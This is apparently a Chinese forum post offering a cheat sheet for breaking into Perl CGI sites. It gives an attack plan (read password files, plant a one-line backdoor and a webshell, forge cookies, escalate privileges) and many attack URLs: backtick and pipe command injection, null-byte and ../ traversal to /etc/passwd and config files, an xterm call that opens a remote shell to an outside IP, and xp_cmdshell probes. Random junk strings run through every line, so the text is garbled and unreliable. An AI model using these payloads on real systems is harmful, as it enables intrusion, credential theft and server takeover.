总体思路,跳过限制,查看敏感文件和密码相关文件。写入一句话cgi,进后台试传webshell(后台如果加验证或者MD5过的时候,可以试着
2 _8 S; A, R% `* j* ?, Gcookies欺骗,本地提交),寻找可执行的目录和相关函数,拿shell…………》提权 7 ?, f* d& a1 {. f. s( J- E
感谢EMM和ps的睿智和他们高超的脚本技术,还有以前老红4的脚本群英和国外的那些牛淫们 9 m5 h9 v7 [9 f7 |* R
注“
7 a* |5 v% `: w) k/ [5 Hperl脚本的漏洞大多出在open()、system()或者 ’’调用中。前者允许读写和执行,而后两个允许执行。 $ P8 y( }, ~' f/ U0 P4 A
以POST的方法发送表格的话,就不能蒙混过关(%00将不会被解析),所以我们大部分用GET
8 o1 b9 n3 p! M/ v, {) _2 Z( Z# B
http://target.com/cgi-bin/home/news/sub.pl?12 随意构造 4 x1 l8 x- {7 p: B8 Q
http://target.com/cgi-bin/home/news/sub.pl?& 换个字符,也许可以执行呢 " c: @2 X0 U6 C7 M+ S& Q
http://target.com/cgi-bin/home/news/sub.pl?`ls` 单引号
+ t" @2 w6 u) L5 l J7 Mhttp://target.com/cgi-bin/home/news/sub.pl?`id` ( [$ k' [! n2 \# `" e
http://target.com/cgi-bin/home/news/sub.pl?`IFS=!;uname!-a`
' W) ]; M" k' X) Nhttp://target.com/cgi-bin/home/news/sub.pl?`cat<’/home1/siteadm/cgi-bin/home/news/sub.pl’` 非常好的思路,把代码cat回来显示 . |/ E2 c7 `1 h# } b
7 b) e( w; f) E- E) fhttp://target.com/test.pl;ls| 0 G3 M: c! G% Y3 g
http://target.com/index.cgi?page=|ls+-la+/%0aid%0awhich+xterm| 4 ]4 {9 I+ E+ Z* w" e# ?7 P/ Y9 B" r4 q
http://target.com/index.cgi?page=|xterm+-isplay+10.0.1.21:0.0+%26| / c/ y3 c8 g2 b% z
http://target.com/test.pl?’id’ 类似’’内的操作和命令执行自己构造 # x# l$ S' ?0 V+ G; J' H" f
比如:cat<’/home1/siteadm/cgi-bin/home/news/test.pl’` 把pl代码显示出来。
2 f+ z6 z' W0 Y) ~3 H: N9 O* xhttp://target.com/index.cgi?page=;dir+c:\|&cid=03417 类似asp的Sql injection
$ Q/ k/ d! ? E4 Q; T: c4 ?5 ~4 v8 h$ d3 r) K& k
http://target.com/test.pl?&........ /../../etc/passwd - `: M [! w4 I
" E4 A# y% q2 i/ F! ^ zhttp://www.target.org/cgi-bin/cl ... info.pl?user=./test 前面加./ , _- v& ?# l) \
http://www.target.org/cgi-bin/cl ... nfo.pl?user=test%00 注意后面的 %00 别弄丢了 i l, y3 S1 m0 j6 Y! E. Y( h
http://www.target.org/cgi-bin/cl ... ../../etc/passwd%00 7 @1 r; h) o% `
; O8 c5 {" ?: a6 h
http://www.target.org/show.php?f ... /include/config.php 查看php代码
* h4 k; i! O3 `- ~' m8 T ~0 Ghttp://www.target.org/show.php?f ... ng/admin/global.php
$ ]/ u! o$ [" o0 ~9 w* ?
6 c& X; s! c/ X' v, V& ~& h2 ~emm和ps的一句话
$ Z# t' l% W, f5 ~, E( a
8 M: F" A/ c+ Y, {0 C+ S$ k! x% P Lhttp://www.target.org/cgi-bin/cl ... /../../../bin/ls%20
H& H6 O7 e+ r" d
0 ?) @" a! Q+ u( u* [+ q>bbb%20|
5 A, W3 Y( w. K$ Q
9 W8 ]' l& T8 u* `http://www.target.org/cgi-bin/club/scripts\’less showpost.pl\’ 并且寻找(用\’/\’)\’Select\’ 字符串
1 {8 r' g$ n; K& B/ d1 ^/ [3 k4 P4 j7 k
http://www.target.org/cgi-bin/cl ... bin/sh.elf?ls+/http 这里的是elf是CCS中文linux操作系统特征 - B+ O5 Y8 x# D+ m
http://www.target.org/csapi/..%c0%afhttp/china.sh”+.elf?”+&+ls+/bin 3 _& m! m; L! q% P& _$ L
' M: F) w6 l. j. F- I2 Z相关html为后缀的脚本技术,继续深挖中,但是不可质疑的是提交数据查询语句也是一种完美的方法
' h; u9 `2 c+ c/ X5 xhttp://target.com/index.html#cmd.exe
1 k. @5 k- u8 k7 ]% t; Fhttp://target.com/index.html?dummyparam=xp_cmdshell 2 I4 U( b% Q7 w
lynx http://target.com/cgi-bin/htmlscript?../../../../etc/passwd
5 K: _+ c6 ^5 U! [ |